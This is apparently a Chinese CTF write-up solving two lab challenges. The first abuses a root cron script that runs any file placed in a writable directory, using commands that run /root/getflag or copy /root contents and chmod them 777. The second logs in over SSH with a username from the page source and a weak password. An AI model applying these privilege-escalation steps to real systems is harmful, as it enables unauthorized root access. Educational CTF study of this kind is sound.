T1.利用计划任务获取flag
题目描述
在操作机中通过ssh连接靶机,账号test、密码123,进行后续的操作。(靶机IP地址见题目中拓扑图)。
靶机环境中配置了一个仅有root运行权限的定时脚本writable.sh,脚本功能分析代码可得。
与此同时,靶机环境中/root文件下配置了一个可执行文件getflag,即/root/getflag,用以获取flag。
请分析并利用该定时任务,获取flag。
Keyword:shell脚本执行方式,输出重定向
网络拓扑图如下:
SSH口令远程登录
口令登录非常简单,只需要一条命令,命令格式为: ssh 客户端用户名@服务器ip地址 eg:
ssh [email protected]
之后按照提示输入密码,即可成功登陆主机
题目设置定时任务,定时执行/home/test/test/writable.sh脚本:
#!/bin/shforiin /home/test/test/* ;do(ulimit -t 5;bash -x "$i")rm -f "$i"done
可以看到,该脚本去执行/home/test/test目录下的程序
且每隔五秒钟就会删除该目录下的文件
简单尝试一下之后,我们就可以知道靶机上的文件结构如下
- home - test - test- writable.sh
我们尝试直接运行getflag文件,可以发现Permission Deny
实际上,root文件夹只用root权限才能操作,作为区区test用户是完全接触不到ta的
但这启发我是不是可以直接利用writable.sh去修改root文件夹的权限呢?
这个脑洞我们按下不表,先来看看中规中矩的做法:利用这个writable.sh的root权限运行getflag,进而获取flag
只要认真翻阅一下网站,你就可以发现一些靠谱的题解
我们可以是写一个获取flag的脚本放进/home/test/test文件夹里
将执行结果重定向到/tmp文件
新建一个tmp文件夹
- home - test - test- writable.sh- tmp
cd /home/test/tmp
vi hack
/root/getflag > /home/test/tmp/ans
chmod755 hack
cp hack /home/test/test
cat /home/test/tmp/ans
峰猪说他用的是另外一种方法
# 在用户自己的目录下新建一个脚本cdvi ./a.sh
# 脚本内容就是将root下面的所有内容拷贝下来,并且修改权限# 脚本运行的时候会检测第一行#如果是#!就会使用你规定的那个sh#!/bin/shcp /root/* /home/test
chmod777 /home/test/*
cp a.sh /home/test/test
# 这里直接运行~/getflag会显示乱码# 所以直接进行代码审计,发现flag存放在flag.txt文件中# root文件夹下除了getflag,一共有三个文件# 直接输出flag.txtcat flag.txt
T2.dom型xss攻击
题目描述
浏览器进入靶机IP地址首页,根据网页提示找出flag!
提示,根据此漏洞可以得到ssh登录的用户名,密码也是和用户名相关的弱密码。
网络拓扑图如下:
习惯性查看网页源码,就可以直接发现用户名
直接使用admin用户名远程登陆靶机
题目说 " 密码也是和用户名相关的弱密码 ",那你们猜猜我输入了什么
找到flag.txt输出即可
后记
版权归原作者 Coco_T_ 所有, 如有侵权,请联系我们删除。